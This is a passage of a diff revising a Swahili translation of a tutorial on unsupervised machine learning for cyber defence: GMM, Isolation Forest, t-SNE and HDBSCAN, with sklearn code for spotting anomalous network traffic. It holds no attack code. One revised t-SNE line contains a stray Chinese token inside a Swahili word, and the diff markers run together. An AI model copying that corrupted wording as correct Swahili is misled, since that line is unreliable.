vigezo vya sasa. Majukumu yanahesabiwa kama: ```math r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)} ``` ambapo: - \( \pi_k \) ni coefficient ya mchanganyiko kwa kundi k (uwezekano wa awali wa kundi k), -- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) ni kazi ya uwezekano wa density ya Gaussian kwa pointi \( x_n \) ikizingatia wastani \( \mu_k \) na covariance \( \Sigma_k \). +- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) ni kazi ya uwezekano wa wiani wa Gaussian kwa pointi \( x_n \) ikizingatia wastani \( \mu_k \) na covariance \( \Sigma_k \). - **M-step (Uboreshaji)**: Sasisha vigezo kwa kutumia majukumu yaliyohesabiwa katika hatua ya E: - Sasisha kila wastani μ_k kama wastani wa uzito wa pointi, ambapo uzito ni majukumu. - Sasisha kila covariance Σ_k kama covariance ya uzito wa pointi zilizotengwa kwa kundi k. - Sasisha coefficients za mchanganyiko π_k kama wastani wa jukumu kwa kundi k. -- **Rudia** hatua za E na M hadi kufikia muafaka (vigezo vinastabilika au kuboresha uwezekano kunakuwa chini ya kigezo). +- **Rudia** hatua za E na M hadi kufikia muafaka (vigezo vinapokuwa thabiti au kuboresha uwezekano kunapokuwa chini ya kigezo). -Matokeo ni seti ya distributions za Gaussian ambazo kwa pamoja zinaiga usambazaji wa data kwa ujumla. Tunaweza kutumia GMM iliyofanywa kuunda makundi kwa kupeana kila pointi kwa Gaussian yenye uwezekano mkubwa, au kuweka uwezekano kwa ajili ya kutokuwa na uhakika. Mtu pia anaweza kutathmini uwezekano wa pointi mpya ili kuona kama zinafaa katika mfano (inayofaa kwa kugundua kasoro). +Matokeo ni seti ya usambazaji wa Gaussian ambayo kwa pamoja inasimamia usambazaji wa data kwa ujumla. Tunaweza kutumia GMM iliyofanywa kuunda makundi kwa kupeana kila pointi kwa Gaussian yenye uwezekano mkubwa, au kuweka uwezekano kwa ajili ya kutokuwa na uhakika. Mtu pia anaweza kutathmini uwezekano wa pointi mpya ili kuona kama zinafaa katika mfano (inayofaa kwa kugundua kasoro). > [!TIP] -> *Matumizi katika usalama wa mtandao:* GMM inaweza kutumika kwa kugundua kasoro kwa kuiga usambazaji wa data ya kawaida: pointi yoyote yenye uwezekano mdogo sana chini ya mchanganyiko uliojifunza inatambuliwa kama kasoro. Kwa mfano, unaweza kufundisha GMM juu ya vipengele vya trafiki halali ya mtandao; muunganisho wa shambulio ambao haufanani na kundi lolote lililojifunzwa utakuwa na uwezekano mdogo. GMM pia hutumiwa kuunda makundi ya shughuli ambapo makundi yanaweza kuwa na sura tofauti – e.g., kuunganisha watumiaji kwa wasifu wa tabia, ambapo vipengele vya kila wasifu vinaweza kuwa kama Gaussian lakini na muundo wake wa tofauti. Hali nyingine: katika kugundua ulaghai, vipengele halali vya barua pepe vinaweza kuunda kundi moja la Gaussian, ulaghai unaojulikana mwingine, na kampeni mpya za ulaghai zinaweza kuonekana kama Gaussian tofauti au kama pointi zenye uwezekano mdogo kulingana na mchanganyiko uliopo. +> *Matumizi katika usalama wa mtandao:* GMM inaweza kutumika kwa kugundua kasoro kwa kuunda mfano wa usambazaji wa data ya kawaida: pointi yoyote yenye uwezekano mdogo sana chini ya mchanganyiko uliojifunza inatambuliwa kama kasoro. Kwa mfano, unaweza kufundisha GMM juu ya vipengele vya trafiki halali ya mtandao; muunganisho wa shambulio ambao haufanani na kundi lolote lililojifunzwa utakuwa na uwezekano mdogo. GMM pia hutumiwa kuunda makundi ya shughuli ambapo makundi yanaweza kuwa na sura tofauti – e.g., kuunganisha watumiaji kwa wasifu wa tabia, ambapo vipengele vya kila wasifu vinaweza kuwa kama Gaussian lakini na muundo wake wa tofauti. Hali nyingine: katika kugundua ulaghai, vipengele halali vya barua pepe vinaweza kuunda kundi moja la Gaussian, ulaghai unaojulikana mwingine, na kampeni mpya za ulaghai zinaweza kuonekana kama Gaussian tofauti au kama pointi zenye uwezekano mdogo kulingana na mchanganyiko uliopo. #### Dhana na Mipaka -GMM ni jumla ya K-Means ambayo inajumuisha covariance, hivyo makundi yanaweza kuwa ya ellipsoidal (siyo tu ya mpira). Inashughulikia makundi ya ukubwa na sura tofauti ikiwa covariance ni kamili. Ugawaji laini ni faida wakati mipaka ya kundi ni ya kutatanisha – e.g., katika usalama wa mtandao, tukio linaweza kuwa na sifa za aina kadhaa za shambulio; GMM inaweza kuonyesha kutokuwa na uhakika hiyo kwa uwezekano. GMM pia inatoa makadirio ya density ya uwezekano wa data, inayofaa kwa kugundua nje (pointi zenye uwezekano mdogo chini ya vipengele vyote vya mchanganyiko). +GMM ni jumla ya K-Means ambayo inajumuisha covariance, hivyo makundi yanaweza kuwa ya ellipsoidal (siyo tu ya mpira). Inashughulikia makundi ya ukubwa na sura tofauti ikiwa covariance ni kamili. Uundaji wa laini ni faida wakati mipaka ya kundi ni ya kutatanisha – e.g., katika usalama wa mtandao, tukio linaweza kuwa na sifa za aina kadhaa za shambulio; GMM inaweza kuonyesha kutokuwa na uhakika hiyo kwa uwezekano. GMM pia inatoa makadirio ya wiani wa uwezekano wa data, inayofaa kwa kugundua viashiria (pointi zenye uwezekano mdogo chini ya vipengele vyote vya mchanganyiko). -Kwa upande mbaya, GMM inahitaji kufafanua idadi ya vipengele K (ingawa mtu anaweza kutumia vigezo kama BIC/AIC kuichagua). EM inaweza wakati mwingine kukaribia polepole au kwa muafaka wa ndani, hivyo kuanzisha ni muhimu (mara nyingi hufanya EM mara kadhaa). Ikiwa data haifuati mchanganyiko wa Gaussian, mfano unaweza kuwa na ufanisi duni. Pia kuna hatari ya Gaussian mmoja kupungua ili kufunika tu nje (ingawa udhibiti au mipaka ya chini ya covariance inaweza kupunguza hiyo). +Kwa upande mbaya, GMM inahitaji kubainisha idadi ya vipengele K (ingawa mtu anaweza kutumia vigezo kama BIC/AIC kuichagua). EM inaweza wakati mwingine kufikia muafaka polepole au kwa kiwango cha ndani, hivyo kuanzisha ni muhimu (mara nyingi inatekeleza EM mara kadhaa). Ikiwa data haifuati mchanganyiko wa Gaussians, mfano unaweza kuwa na ufanisi duni. Pia kuna hatari ya Gaussian mmoja kupungua ili kufunika tu kiashiria (ingawa udhibiti au mipaka ya chini ya covariance inaweza kupunguza hiyo). ```python from sklearn.mixture import GaussianMixture @@ -274,22 +274,22 @@ log_likelihood = gmm.score_samples(sample_attack) print("Cluster membership probabilities for sample attack:", probs) print("Log-likelihood of sample attack under GMM:", log_likelihood) ``` -Katika msimbo huu, tunafundisha GMM na Gaussians 3 kwenye trafiki ya kawaida (tukidhani tunajua wasifu 3 wa trafiki halali). Maana na covariances zilizochapishwa zinaelezea makundi haya (kwa mfano, maana moja inaweza kuwa karibu [50,500] inayohusiana na kituo cha kundi moja, n.k.). Kisha tunajaribu muunganisho wa kutatanisha [duration=200, bytes=800]. predict_proba inatoa uwezekano wa pointi hii kuhusika na kila moja ya makundi 3 – tungeweza kutarajia uwezekano huu kuwa wa chini sana au kupindishwa sana kwani [200,800] iko mbali na makundi ya kawaida. Alama ya jumla ya score_samples (log-likelihood) inachapishwa; thamani ya chini sana inaonyesha kuwa pointi hiyo haifai vizuri kwenye mfano, ikionyesha kama anomali. Katika mazoezi, mtu anaweza kuweka kigezo kwenye log-likelihood (au kwenye uwezekano wa juu) ili kuamua ikiwa pointi ni ya kutosha kutokuwa na hatari. GMM hivyo hutoa njia iliyo na kanuni ya kufanya ugunduzi wa anomali na pia inatoa makundi laini yanayotambua kutokuwa na uhakika. +Katika msimbo huu, tunafundisha GMM na Gaussians 3 kwenye trafiki ya kawaida (tukidhani tunajua wasifu 3 wa trafiki halali). Maana na covariances zilizochapishwa zinaelezea makundi haya (kwa mfano, maana moja inaweza kuwa karibu [50,500] inayohusiana na kituo cha kundi moja, n.k.). Kisha tunajaribu muunganisho wa kutatanisha [duration=200, bytes=800]. predict_proba inatoa uwezekano wa pointi hii kuhusika na kila moja ya makundi 3 – tungeweza kutarajia uwezekano huu kuwa wa chini sana au kupotoshwa sana kwani [200,800] iko mbali na makundi ya kawaida. Alama ya jumla ya score_samples (log-likelihood) inachapishwa; thamani ya chini sana inaonyesha kuwa pointi hiyo haifai vizuri kwenye mfano, ikionyesha kama anomali. Katika mazoezi, mtu anaweza kuweka kigezo kwenye log-likelihood (au kwenye uwezekano wa juu) ili kuamua ikiwa pointi ni ya chini vya kutosha kuzingatiwa kuwa mbaya. GMM hivyo hutoa njia iliyo na kanuni ya kufanya ugunduzi wa anomali na pia inatoa makundi laini yanayotambua kutokuwa na uhakika. ### Isolation Forest -**Isolation Forest** ni algorithimu ya ugunduzi wa anomali ya pamoja inayotokana na wazo la kutenga pointi kwa bahati nasibu. Kanuni ni kwamba anomali ni chache na tofauti, hivyo ni rahisi kuzitenga kuliko pointi za kawaida. Isolation Forest inajenga miti nyingi za kutenga binary (miti ya maamuzi ya bahati nasibu) ambazo zinagawanya data kwa bahati nasibu. Kila node kwenye mti, kipengele cha bahati nasibu kinachaguliwa na thamani ya kugawanya ya bahati nasibu inachaguliwa kati ya min na max ya kipengele hicho kwa data katika node hiyo. Kugawanya hii kunagawanya data katika matawi mawili. Mti unakua hadi kila pointi itengwe katika jani lake mwenyewe au urefu wa juu wa mti unafikiwa. +**Isolation Forest** ni algorithimu ya ugunduzi wa anomali ya pamoja inayotokana na wazo la kutenga pointi kwa bahati nasibu. Kanuni ni kwamba anomali ni chache na tofauti, hivyo ni rahisi kuzitenga kuliko pointi za kawaida. Isolation Forest inajenga miti nyingi za kutenga binary (miti ya maamuzi ya bahati nasibu) ambazo zinagawanya data kwa bahati nasibu. Kila node kwenye mti, kipengele cha bahati nasibu kinachaguliwa na thamani ya kugawanya ya bahati nasibu inachaguliwa kati ya min na max ya kipengele hicho kwa data katika node hiyo. Kugawanya hii inagawanya data katika matawi mawili. Mti unakua hadi kila pointi itengwe katika jani lake mwenyewe au urefu wa juu wa mti unafikiwa. -Ugunduzi wa anomali unafanywa kwa kuangalia urefu wa njia ya kila pointi katika miti hii ya bahati nasibu – idadi ya kugawanya inayohitajika kutenga pointi hiyo. Kwa njia ya hisabati, anomali (outliers) huwa zinatengwa haraka zaidi kwa sababu kugawanya kwa bahati nasibu kuna uwezekano mkubwa wa kutenganisha outlier (ambaye yuko katika eneo la upungufu) kuliko pointi za kawaida katika kundi lenye msongamano. Isolation Forest inahesabu alama ya anomali kutoka kwa urefu wa wastani wa njia juu ya miti yote: urefu wa wastani mfupi → anomali zaidi. Alama kawaida huwekwa sawa kwa [0,1] ambapo 1 inamaanisha anomali yenye uwezekano mkubwa. +Ugunduzi wa anomali unafanywa kwa kuangalia urefu wa njia ya kila pointi katika miti hii ya bahati nasibu – idadi ya kugawanya inayohitajika kutenga pointi hiyo. Kwa njia ya kawaida, anomali (outliers) huwa zinatengwa haraka zaidi kwa sababu kugawanya kwa bahati nasibu kuna uwezekano mkubwa wa kutenganisha outlier (ambaye yuko katika eneo la upungufu) kuliko ilivyo kwa pointi za kawaida katika kundi lenye msongamano. Isolation Forest inakadiria alama ya anomali kutoka kwa urefu wa wastani wa njia juu ya miti yote: urefu wa wastani mfupi → anomali zaidi. Alama kawaida huwekwa sawa kwa [0,1] ambapo 1 inamaanisha uwezekano mkubwa wa anomali. > [!TIP] > *Matumizi katika usalama wa mtandao:* Isolation Forests zimekuwa zikitumika kwa mafanikio katika ugunduzi wa uvamizi na ugunduzi wa udanganyifu. Kwa mfano, fundisha Isolation Forest kwenye kumbukumbu za trafiki ya mtandao ambazo kwa kiasi kikubwa zina tabia ya kawaida; msitu utatoa njia fupi kwa trafiki isiyo ya kawaida (kama IP inayotumia bandari isiyojulikana au muundo wa saizi ya pakiti isiyo ya kawaida), ikionyesha kwa ukaguzi. Kwa sababu haitaji mashambulizi yaliyoandikwa, inafaa kwa kugundua aina za mashambulizi zisizojulikana. Inaweza pia kutumika kwenye data za kuingia kwa mtumiaji kugundua kuchukuliwa kwa akaunti (nyakati au maeneo ya kuingia yasiyo ya kawaida yanatengwa haraka). Katika matumizi moja, Isolation Forest inaweza kulinda biashara kwa kufuatilia metriki za mfumo na kutoa arifa wakati mchanganyiko wa metriki (CPU, mtandao, mabadiliko ya faili) unaonekana kuwa tofauti sana (njia fupi za kutengwa) kutoka kwa mifumo ya kihistoria. #### Dhana na Mipaka -**Faida**: Isolation Forest haitaji dhana ya usambazaji; inashughulikia moja kwa moja kutengwa. Ni bora kwenye data zenye vipimo vingi na seti kubwa za data (ugumu wa moja kwa moja $O(n\log n)$ kwa kujenga msitu) kwani kila mti unategemea pointi na vipengele na kugawanya tu. Inashughulikia vizuri vipengele vya nambari na inaweza kuwa haraka zaidi kuliko mbinu zinazotegemea umbali ambazo zinaweza kuwa $O(n^2)$. Pia inatoa moja kwa moja alama ya anomali, hivyo unaweza kuweka kigezo cha arifa (au kutumia kipimo cha uchafuzi kuamua kiotomatiki kikomo kulingana na sehemu inayotarajiwa ya anomali). +**Faida**: Isolation Forest haitaji dhana ya usambazaji; inashughulikia moja kwa moja kutengwa. Ni bora kwenye data zenye vipimo vingi na seti kubwa za data (ugumu wa moja kwa moja $O(n\log n)$ kwa kujenga msitu) kwani kila mti unategemea pointi na vipengele na kugawanya tu. Inashughulikia vizuri vipengele vya nambari na inaweza kuwa haraka zaidi kuliko mbinu zinazotegemea umbali ambazo zinaweza kuwa $O(n^2)$. Pia inatoa moja kwa moja alama ya anomali, hivyo unaweza kuweka kigezo cha arifa (au kutumia kipimo cha uchafuzi kuamua moja kwa moja kikomo kulingana na sehemu inayotarajiwa ya anomali). -**Mipaka**: Kwa sababu ya asili yake ya bahati nasibu, matokeo yanaweza kutofautiana kidogo kati ya mbio (ingawa kwa miti nyingi vya kutosha hii ni ndogo). Ikiwa data ina vipengele vingi visivyo na maana au ikiwa anomali hazitofautiani kwa nguvu katika kipengele chochote, kutengwa kunaweza kutokuwa na ufanisi (kugawanya kwa bahati nasibu kunaweza kutenga pointi za kawaida kwa bahati – hata hivyo, kuhesabu miti mingi hupunguza hili). Pia, Isolation Forest kwa ujumla inadhani anomali ni wachache (ambayo mara nyingi ni kweli katika hali za usalama wa mtandao). +**Mipaka**: Kwa sababu ya asili yake ya bahati nasibu, matokeo yanaweza kutofautiana kidogo kati ya mbio (ingawa kwa miti nyingi vya kutosha hii ni ndogo). Ikiwa data ina vipengele vingi visivyo na maana au ikiwa anomali hazitofautiani kwa nguvu katika kipengele chochote, kutengwa kunaweza kutokuwa na ufanisi (kugawanya kwa bahati nasibu kunaweza kutenga pointi za kawaida kwa bahati – hata hivyo, kuhesabu miti mingi hupunguza hili). Pia, Isolation Forest kwa ujumla inadhani anomali ni wachache (ambayo kwa kawaida ni kweli katika hali za usalama wa mtandao).
Mfano -- Kugundua Outliers katika Kumbukumbu za Mtandao @@ -311,30 +311,30 @@ print("Isolation Forest predicted labels (first 20):", preds[:20]) print("Number of anomalies detected:", np.sum(preds == -1)) print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]) ``` -Katika msimbo huu, tunaunda `IsolationForest` na miti 100 na kuweka `contamination=0.15` (kumanisha tunatarajia karibu 15% ya anomalies; mfano utaweka kigezo chake cha alama ili ~15% ya alama zifanywe alama). Tunafaa kwenye `X_test_if` ambayo ina mchanganyiko wa alama za kawaida na za shambulio (kumbuka: kawaida ungetumia data ya mafunzo kisha kutumia predict kwenye data mpya, lakini hapa kwa mfano tunafaa na kutabiri kwenye seti moja ili kuona matokeo moja kwa moja). +Katika msimbo huu, tunaunda `IsolationForest` na miti 100 na kuweka `contamination=0.15` (kumanisha tunatarajia karibu 15% ya anomalies; mfano utaweka kigezo chake cha alama ili ~15% ya alama zifanywe alama). Tunafaa kwenye `X_test_if` ambayo ina mchanganyiko wa alama za kawaida na za shambulio (kumbuka: kawaida ungetumia data ya mafunzo na kisha kutumia predict kwenye data mpya, lakini hapa kwa mfano tunafaa na kutabiri kwenye seti ile ile ili kuona matokeo moja kwa moja). -Matokeo yanaonyesha lebo zilizotabiriwa kwa alama 20 za kwanza (ambapo -1 inaashiria anomaly). Pia tunachapisha ni anomalies ngapi zimegundulika kwa jumla na baadhi ya alama za mfano za anomaly. Tunatarajia karibu 18 kati ya alama 120 kupewa lebo -1 (kwa kuwa contamination ilikuwa 15%). Ikiwa sampuli zetu 20 za shambulio ni kweli ziko mbali zaidi, nyingi yao zinapaswa kuonekana katika hizo -1 predictions. Alama ya anomaly (kazi ya uamuzi ya Isolation Forest) ni kubwa kwa alama za kawaida na ndogo (mbaya zaidi) kwa anomalies – tunachapisha baadhi ya thamani ili kuona utofauti. Katika mazoezi, mtu anaweza kupanga data kwa alama ili kuona waandishi wakuu na kuichunguza. Isolation Forest hivyo inatoa njia bora ya kuchambua data kubwa zisizo na lebo za usalama na kuchagua matukio yasiyo ya kawaida kwa uchambuzi wa kibinadamu au uchunguzi wa kiotomatiki zaidi. +Matokeo yanaonyesha lebo zilizotabiriwa kwa alama 20 za kwanza (ambapo -1 inaashiria anomaly). Pia tunachapisha ni anomalies ngapi zimegundulika kwa jumla na baadhi ya alama za mfano za anomaly. Tunatarajia takriban 18 kati ya alama 120 kupewa lebo -1 (kwa kuwa contamination ilikuwa 15%). Ikiwa sampuli zetu 20 za shambulio ni kweli ziko mbali zaidi, nyingi yao zinapaswa kuonekana katika hizo -1 predictions. Alama ya anomaly (kazi ya uamuzi ya Isolation Forest) ni kubwa kwa alama za kawaida na ndogo (mbaya zaidi) kwa anomalies – tunachapisha baadhi ya thamani ili kuona utofauti. Katika mazoezi, mtu anaweza kupanga data kwa alama ili kuona waandishi wakuu na kuichunguza. Isolation Forest hivyo inatoa njia bora ya kuchambua data kubwa zisizo na lebo za usalama na kuchagua matukio yasiyo ya kawaida kwa uchambuzi wa kibinadamu au uchunguzi wa kiotomatiki zaidi. ### t-SNE (t-Distributed Stochastic Neighbor Embedding) -**t-SNE** ni mbinu ya kupunguza vipimo isiyo ya laini iliyoundwa mahsusi kwa ajili ya kuonyesha data yenye vipimo vingi katika vipimo 2 au 3. Inabadilisha ufanisi kati ya alama za data kuwa usambazaji wa uwezekano wa pamoja na inajaribu kuhifadhi muundo wa majirani wa ndani katika uwasilishaji wa chini wa vipimo. Kwa maneno rahisi, t-SNE inaweka alama katika (sema) 2D kwa namna ambayo alama zinazofanana (katika nafasi ya asili) zinaishia karibu pamoja na alama zisizofanana zinaishia mbali na uwezekano mkubwa. +**t-SNE** ni mbinu ya kupunguza vipimo isiyo ya laini iliyoundwa mahsusi kwa ajili ya kuonyesha data yenye vipimo vingi katika vipimo 2 au 3. Inabadilisha ufanisi kati ya alama za data kuwa usambazaji wa uwezekano wa pamoja na inajaribu kuhifadhi muundo wa majirani wa ndani katika uwasilishaji wa chini wa vipimo. Kwa maneno rahisi, t-SNE inaweka alama katika (sema) 2D kwa namna ambayo alama zinazofanana (katika nafasi ya asili) zinaishia karibu pamoja na alama zisizofanana zinaishia mbali na kila mmoja kwa uwezekano mkubwa. Algorithimu ina hatua mbili kuu: 1. **Hesabu uhusiano wa pande mbili katika nafasi ya vipimo vingi:** Kwa kila jozi ya alama, t-SNE inahesabu uwezekano kwamba mtu angechagua jozi hiyo kama majirani (hii inafanywa kwa kuzingatia usambazaji wa Gaussian kwenye kila alama na kupima umbali – parameter ya perplexity inaathiri idadi halisi ya majirani wanaozingatiwa). -2. **Hesabu uhusiano wa pande mbili katika nafasi ya chini ya vipimo (mfano 2D):** Kwanza, alama zinawekwa kwa bahati nasibu katika 2D. t-SNE inaelezea uwezekano sawa kwa umbali katika ramani hii (ikitumia kernel ya usambazaji wa Student t, ambayo ina ncha nzito zaidi kuliko Gaussian ili kuruhusu alama za mbali uhuru zaidi). -3. **Gradient Descent:** t-SNE kisha inahamisha alama kwa hatua kwa hatua katika 2D ili kupunguza tofauti ya Kullback–Leibler (KL) kati ya usambazaji wa uhusiano wa juu-D na wa chini-D. Hii inasababisha mpangilio wa 2D kuakisi muundo wa juu-D kadri iwezekanavyo – alama ambazo zilikuwa karibu katika nafasi ya asili zitavutia kila mmoja, na zile zilizo mbali zitakataa, hadi usawa upatikane. +2. **Hesabu uhusiano wa pande mbili katika nafasi ya chini ya vipimo (mfano 2D):** Kwanza, alama zinawekwa kwa bahati nasibu katika 2D. t-SNE in定义 uwezekano sawa kwa umbali katika ramani hii (ikitumia kernel ya usambazaji wa Student t, ambayo ina ncha nzito zaidi kuliko Gaussian ili kuruhusu alama za mbali uhuru zaidi). +3. **Gradient Descent:** t-SNE kisha inahamisha alama kwa hatua kwa hatua katika 2D ili kupunguza tofauti ya Kullback–Leibler (KL) kati ya usambazaji wa uhusiano wa juu-D na wa chini-D. Hii inasababisha mpangilio wa 2D kuakisi muundo wa juu-D kadri iwezekanavyo – alama ambazo zilikuwa karibu katika nafasi ya asili zitavutia kila mmoja, na zile mbali zitakataa, hadi usawa upatikane. -Matokeo mara nyingi ni mchoro wa kusambaza wenye maana ya kuona ambapo makundi katika data yanakuwa wazi. +Matokeo mara nyingi ni mchoro wa kutawanyika wenye maana ya kuona ambapo makundi katika data yanakuwa wazi. > [!TIP] -> *Matumizi katika usalama wa mtandao:* t-SNE mara nyingi hutumiwa ku **onyesha data ya usalama yenye vipimo vingi kwa uchambuzi wa kibinadamu**. Kwa mfano, katika kituo cha operesheni za usalama, wachambuzi wanaweza kuchukua seti ya matukio yenye vipengele vingi (nambari za bandari, mara kwa mara, idadi ya byte, nk) na kutumia t-SNE kutoa mchoro wa 2D. Mashambulizi yanaweza kuunda makundi yao wenyewe au kutengwa kutoka kwa data ya kawaida katika mchoro huu, na kuifanya iwe rahisi zaidi kuwatambua. Imetumika kwenye seti za data za malware kuona makundi ya familia za malware au kwenye data ya uvunjaji wa mtandao ambapo aina tofauti za mashambulizi zinakusanyika kwa tofauti, ikiongoza uchunguzi zaidi. Kimsingi, t-SNE inatoa njia ya kuona muundo katika data ya cyber ambayo vinginevyo ingekuwa ngumu kueleweka. +> *Matumizi katika usalama wa mtandao:* t-SNE mara nyingi hutumiwa ku **onyesha data ya usalama yenye vipimo vingi kwa uchambuzi wa kibinadamu**. Kwa mfano, katika kituo cha operesheni za usalama, wachambuzi wanaweza kuchukua seti ya matukio yenye vipengele vingi (nambari za bandari, mara kwa mara, idadi ya byte, nk.) na kutumia t-SNE kutoa mchoro wa 2D. Mashambulizi yanaweza kuunda makundi yao wenyewe au kutengwa na data ya kawaida katika mchoro huu, na kuifanya iwe rahisi kuwatambua. Imetumika kwenye seti za data za malware kuona makundi ya familia za malware au kwenye data ya uvunjaji wa mtandao ambapo aina tofauti za mashambulizi zinakusanyika kwa tofauti, ikiongoza uchunguzi zaidi. Kimsingi, t-SNE inatoa njia ya kuona muundo katika data za cyber ambazo vinginevyo zingekuwa ngumu kueleweka. #### Dhana na Mipaka -t-SNE ni nzuri kwa kugundua mifumo kwa kuona. Inaweza kufichua makundi, makundi madogo, na waandishi wa mbali ambao mbinu nyingine za laini (kama PCA) zinaweza kutofaulu. Imetumika katika utafiti wa usalama wa mtandao kuonyesha data ngumu kama vile wasifu wa tabia za malware au mifumo ya trafiki ya mtandao. Kwa sababu inahifadhi muundo wa ndani, ni nzuri katika kuonyesha makundi ya asili. +t-SNE ni nzuri kwa kugundua mifumo kwa kuona. Inaweza kufichua makundi, makundi madogo, na waandishi wa mbali ambao mbinu nyingine za laini (kama PCA) zinaweza kutokuwepo. Imetumika katika utafiti wa usalama wa mtandao kuonyesha data ngumu kama vile wasifu wa tabia za malware au mifumo ya trafiki ya mtandao. Kwa sababu inahifadhi muundo wa ndani, ni nzuri katika kuonyesha makundi ya asili. -Hata hivyo, t-SNE ni nzito kwa kompyuta (takriban $O(n^2)$) hivyo inaweza kuhitaji sampuli kwa seti kubwa sana. Pia ina hyperparameters (perplexity, kiwango cha kujifunza, mizunguko) ambazo zinaweza kuathiri matokeo – mfano, thamani tofauti za perplexity zinaweza kufichua makundi katika viwango tofauti. Mchoro wa t-SNE unaweza wakati mwingine kutafsiriwa vibaya – umbali katika ramani si wa maana moja kwa moja kimataifa (inazingatia jirani wa ndani, wakati mwingine makundi yanaweza kuonekana kuwa mbali sana kwa bandia). Pia, t-SNE ni hasa kwa ajili ya uonyeshaji; haipati njia rahisi ya kuhamasisha alama mpya bila kuhesabu tena, na haikusudiwi kutumika kama maandalizi kwa ajili ya uundaji wa utabiri (UMAP ni mbadala inayoshughulikia baadhi ya masuala haya kwa kasi ya haraka). +Hata hivyo, t-SNE ni nzito kwa kompyuta (takriban $O(n^2)$) hivyo inaweza kuhitaji sampuli kwa seti kubwa sana za data. Pia ina hyperparameters (perplexity, kiwango cha kujifunza, mizunguko) ambazo zinaweza kuathiri matokeo – mfano, thamani tofauti za perplexity zinaweza kufichua makundi katika viwango tofauti. Mchoro wa t-SNE unaweza wakati mwingine kutafsiriwa vibaya – umbali katika ramani si wa maana moja kwa moja kimataifa (inazingatia jirani wa ndani, wakati mwingine makundi yanaweza kuonekana kuwa mbali sana kwa bandia). Pia, t-SNE ni hasa kwa ajili ya uonyeshaji; haipati njia rahisi ya kuhamasisha alama mpya bila kuhesabu tena, na haikusudiwi kutumika kama maandalizi kwa ajili ya uundaji wa utabiri (UMAP ni mbadala inayoshughulikia baadhi ya masuala haya kwa kasi ya haraka).
Mfano -- Kuonyesha Mifumo ya Mtandao @@ -423,21 +423,21 @@ plt.legend() plt.tight_layout() plt.show() ``` -Hapa tumekusanya dataset yetu ya kawaida ya 4D na kundi dogo la outliers kali (outliers zina kipengele kimoja (“duration”) kilichowekwa juu sana, nk., ili kuiga muundo wa ajabu). Tunakimbia t-SNE na perplexity ya kawaida ya 30. Data ya output_2d ina umbo (1505, 2). Hatuwezi kuchora katika maandiko haya, lakini kama tungeweza, tungeweza kutarajia kuona labda makundi matatu yaliyofungwa yanayolingana na makundi 3 ya kawaida, na outliers 5 zikionekana kama pointi zilizotengwa mbali na makundi hayo. Katika mchakato wa mwingiliano, tunaweza kubadilisha rangi ya pointi kulingana na lebo zao (kawaida au kundi gani, dhidi ya anomaly) ili kuthibitisha muundo huu. Hata bila lebo, mchambuzi anaweza kugundua pointi hizo 5 zikiwa katika nafasi tupu kwenye mchoro wa 2D na kuziangazia. Hii inaonyesha jinsi t-SNE inaweza kuwa msaada mzuri katika kugundua anomalies kwa njia ya kuona na ukaguzi wa makundi katika data ya cybersecurity, ikikamilisha algorithimu za kiotomatiki zilizo juu. +Hapa tumekusanya dataset yetu ya kawaida ya 4D na kundi dogo la outliers kali (outliers zina kipengele kimoja (“duration”) kilichowekwa juu sana, nk., ili kuiga muundo wa ajabu). Tunakimbia t-SNE na perplexity ya kawaida ya 30. Data ya output_2d ina umbo (1505, 2). Hatuwezi kuchora katika maandiko haya, lakini kama tungeweza, tungeweza kutarajia kuona labda makundi matatu yaliyofungwa yanayolingana na makundi 3 ya kawaida, na outliers 5 zikionekana kama pointi zilizotengwa mbali na makundi hayo. Katika mchakato wa mwingiliano, tunaweza kubadilisha rangi za pointi kulingana na lebo zao (kawaida au kundi gani, dhidi ya anomaly) ili kuthibitisha muundo huu. Hata bila lebo, mchambuzi anaweza kugundua pointi hizo 5 zikiwa katika nafasi tupu kwenye mchoro wa 2D na kuziangazia. Hii inaonyesha jinsi t-SNE inaweza kuwa msaada mzuri katika kugundua anomalies kwa njia ya kuona na ukaguzi wa makundi katika data ya cybersecurity, ikikamilisha algorithimu za kiotomatiki zilizo juu.
### HDBSCAN (Hierarchical Density-Based Spatial Clustering of Applications with Noise) -**HDBSCAN** ni upanuzi wa DBSCAN ambao unafuta hitaji la kuchagua thamani moja ya kimataifa ya `eps` na unaweza kurejesha makundi ya **wiani tofauti** kwa kujenga hierarchi ya vipengele vilivyounganishwa kwa wiani na kisha kuvikandamiza. Ikilinganishwa na DBSCAN ya kawaida, kawaida +**HDBSCAN** ni nyongeza ya DBSCAN ambayo inafuta hitaji la kuchagua thamani moja ya kimataifa ya `eps` na ina uwezo wa kurejesha makundi ya **wiani tofauti** kwa kujenga hierarchi ya vipengele vilivyounganishwa kwa wiani na kisha kuvikandamiza. Ikilinganishwa na DBSCAN ya kawaida, kawaida * inatoa makundi ya kueleweka zaidi wakati baadhi ya makundi yana wiani mkubwa na mengine yana wiani mdogo, * ina hyper-parameter moja halisi tu (`min_cluster_size`) na chaguo la msingi linalofaa, -* inatoa kila pointi uwezekano wa uanachama wa kundi *probability* na **alama ya outlier** (`outlier_scores_`), ambayo ni muhimu sana kwa dashibodi za uwindaji wa vitisho. +* inampa kila pointi uwezekano wa uanachama wa kundi *probability* na **alama ya outlier** (`outlier_scores_`), ambayo ni muhimu sana kwa dashibodi za uwindaji wa vitisho. > [!TIP] -> *Matumizi katika cybersecurity:* HDBSCAN ni maarufu sana katika mipango ya kisasa ya uwindaji wa vitisho – mara nyingi utaiona ndani ya vitabu vya uwindaji vilivyoandikwa kwa kutumia notebook vinavyotolewa na suites za kibiashara za XDR. Mapishi moja ya vitendo ni kuunganisha trafiki ya beaconing ya HTTP wakati wa IR: user-agent, muda na urefu wa URI mara nyingi huunda makundi kadhaa yaliyofungwa ya wasasishaji wa programu halali wakati beacon za C2 zinabaki kama makundi madogo ya wiani wa chini au kama kelele safi. +> *Matumizi katika cybersecurity:* HDBSCAN ni maarufu sana katika mipango ya uwindaji wa vitisho ya kisasa – mara nyingi utaiona ndani ya vitabu vya uwindaji vilivyoandikwa kwenye notebook vinavyotolewa na suites za kibiashara za XDR. Mapishi moja ya vitendo ni kuunganisha trafiki ya beaconing ya HTTP wakati wa IR: user-agent, muda na urefu wa URI mara nyingi huunda makundi kadhaa yaliyofungwa ya wasasishaji wa programu halali wakati beacon za C2 